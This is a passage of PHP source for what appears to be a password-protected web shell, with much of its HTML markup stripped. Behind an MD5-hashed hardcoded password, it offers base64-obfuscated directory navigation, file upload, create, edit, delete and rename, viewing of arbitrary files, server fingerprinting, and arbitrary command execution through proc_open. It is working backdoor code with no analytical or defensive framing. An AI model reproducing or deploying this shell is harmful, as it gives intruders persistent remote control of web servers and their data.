$sessionTimeout)) { // Session has expired session_destroy(); header('Location: ' . $_SERVER['PHP_SELF'] . (isset($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : '')); exit; } // Update last activity timestamp $_SESSION['last_activity'] = time(); } // Handle login if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { $inputPasswordHash = md5($_POST['password']); if ($inputPasswordHash === $hardcodedPasswordHash) { $_SESSION['loggedin'] = true; $_SESSION['last_activity'] = time(); // Set initial activity timestamp header('Location: ' . $_SERVER['PHP_SELF'] . (isset($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : '')); exit; } else { echo '

Error: Incorrect password!

'; } } echo '
'; echo ''; echo ''; echo '
'; exit; } $rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']); function x($b) { return base64_encode($b); } function y($b) { return base64_decode($b); } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); chdir($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) { $uploadPath = $currentDirectory . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $uploadPath)) { echo '
File uploaded successfully!'; } else { echo '
Error: Failed to upload file!'; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $newFolder = $currentDirectory . '/' . $_POST['folder_name']; if (!file_exists($newFolder)) { mkdir($newFolder); echo '
Folder created successfully!'; } else { echo '
Error: Folder already exists!'; } } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo '
File created successfully!'; } else { echo '
Error: Failed to create file!'; } } else { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo '
File edited successfully!'; } else { echo '
Error: Failed to edit file!'; } } } elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (unlink($fileToDelete)) { echo '
File deleted successfully!'; } else { echo '
Error: Failed to delete file!'; } } elseif (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo '
Folder deleted successfully!'; } else { echo '
Error: Failed to delete folder!'; } } else { echo '
Error: File or directory not found!'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo '
Item renamed successfully!'; } else { echo '
Error: Failed to rename item!'; } } else { echo '
Error: Item not found!'; } } elseif (isset($_POST['cmd_input'])) { $command = $_POST['cmd_input']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $viewCommandResult = '

Result:

'; } else { $viewCommandResult = '

Result:

'; } } else { $viewCommandResult = '

Error: Failed to execute command!

'; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = '

Result: ' . $_POST['view_file'] . '

'; } else { $viewCommandResult = '

Error: File not found!

'; } } } echo '
'; echo '

Server Information

'; echo '

PHP Version: ' . phpversion() . '

'; echo '

Server Software: ' . (isset($_SERVER['SERVER_SOFTWARE']) ? htmlspecialchars($_SERVER['SERVER_SOFTWARE']) : 'Unknown') . '

'; echo '

Operating System: ' . php_uname('s') . ' ' . php_uname('r') . '

'; echo '

Server Name: ' . (isset($_SERVER['SERVER_NAME']) ? htmlspecialchars($_SERVER['SERVER_NAME']) : 'Unknown') . '

'; echo '

Document Root: ' . htmlspecialchars($rootDirectory) . '

'; echo '
'; echo '
curdir: '; $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; foreach ($directories as $index => $dir) { if ($index == 0) { echo '' . $dir . ''; } else { $currentPath .= DIRECTORY_SEPARATOR . $dir; echo ' / ' . $dir . ''; } } echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo $viewCommandResult; echo '
'; echo '
'; echo ''; echo '
'; foreach (scandir($currentDirectory) as $v) { $u = realpath($v); $s = stat($u); $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); $permission = substr(sprintf('%o', fileperms($v)), -4); echo ''; } echo '
Item Name
Size
View
Delete
Permissions
Rename
'.$v.' '.filesize($u).'
'.$permission.'
'; function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } ?>